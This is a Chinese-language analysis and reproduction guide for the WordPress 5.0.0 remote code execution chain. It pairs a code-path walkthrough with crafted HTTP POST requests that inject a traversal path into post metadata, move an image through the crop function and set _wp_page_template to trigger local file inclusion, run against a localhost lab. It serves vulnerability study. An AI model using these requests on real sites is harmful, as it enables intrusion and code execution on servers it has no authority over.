WordPress5.0远程代码执行分析
字数 1487 2025-08-18 11:38:08
WordPress 5.0 远程代码执行漏洞分析与复现指南
漏洞概述
WordPress 5.0.0 版本存在一个高危的远程代码执行漏洞,该漏洞由路径穿越和本地文件包含两个漏洞组合而成。RIPS团队于2019年2月19日公开了该漏洞详情,但未完全披露所有技术细节。
环境搭建
- 从WordPress官网下载5.0版本代码
- 搭建成功后不要登录,因为WordPress 3.7.0+版本会在用户登录时自动更新小版本
- 禁用自动更新:在
wp-config.php文件开头添加:define('AUTOMATIC_UPDATER_DISABLED', true);
漏洞分析
路径穿越漏洞
漏洞利用步骤
- 构造特殊数据包插入恶意路径到数据库:
POST /wordpress/wp-admin/post.php HTTP/1.1 Host: localhost Connection: close ... &action=editpost&meta_input[_wp_attached_file]=2019/03/demo.jpeg#themes/twentynineteen/demo.jpeg
代码分析路径
wp-admin/post.php中当$action=editpost时调用edit_post方法edit_post方法中可控的$post_data变量来源于$_POST$post_data传入wp_update_post方法wp_update_post调用wp_insert_post方法wp_insert_post将恶意路径传入update_post_meta方法update_post_meta调用update_metadata方法update_metadata调用wpdb类的update方法,将恶意路径更新到数据库
图片获取机制
WordPress获取上传图片的两种方式:
- 直接在
wp-content/uploads/目录下寻找 - 当第一种方式失败时,从
http://localsite/wp-content/uploads/meta_value下载
图片裁剪功能利用
构造特殊数据包利用裁剪功能将上传图片移动到任意路径:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
...
Connection: close
_ajax_nonce=29a195c152&postid=28&do=save&action=crop-image&cropDetails[x1]=0&cropDetails[y1]=0&cropDetails[width]=1200&cropDetails[height]=1200&cropDetails[dst_width]=1200&cropDetails[dst_height]=1200&id=28
代码执行流程
- 当
action=crop-image时调用wp_ajax_crop_image方法 wp_ajax_crop_image根据POST中的id校验请求和权限- 将
$_POST['cropDetails']传入wp_crop_image方法 wp_crop_image函数关键点:- 根据
$_POST['id']从数据库获取图片路径 - 图片不存在时使用URL形式获取
- 选择图片处理扩展(Imagick优先级高于GD)
- 裁剪后图片命名为
'cropped-' . basename($src_file) - 创建目录并调用
save方法保存图片
- 根据
本地文件包含漏洞
触发条件
- 上传一个txt文件
- 修改
_wp_page_template值为图片马路径:POST /wordpress/wp-admin/post.php HTTP/1.1 Host: localhost ... Connection: close ...&action=editpost&post_type=attachment&post_ID=8&save=Update&post_name=123&meta_input[_wp_page_template]=cropped-demo.jpeg
代码分析
- 全局搜索
_wp_page_template关键字 get_page_template_slug函数根据传入的$post变量查询并返回模板文件名- WordPress程序运行时选择相应模板文件并包含
get_single_template和get_page_template函数都调用get_page_template_slug- 最终在
wp-includes/template-loader.php中包含模板文件
常见问题解决
如果遇到LFI失败(查看附件页面直接404),可能是Apache的rewrite模块未开启:
# Ubuntu系统解决方案
sudo a2enmod rewrite # 开启rewrite模块
sudo vim /etc/apache2/apache2.conf
# 找到如下内容并修改:
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None # 改为 AllowOverride All
Require all granted
</Directory>
sudo systemctl restart apache2
漏洞利用流程图
- 通过路径穿越将恶意路径插入数据库
- 利用图片裁剪功能将恶意文件移动到目标位置
- 通过修改
_wp_page_template触发本地文件包含 - 最终实现远程代码执行
参考
- RIPS团队官方博客(2019年2月19日)
- WordPress 5.0.0源代码分析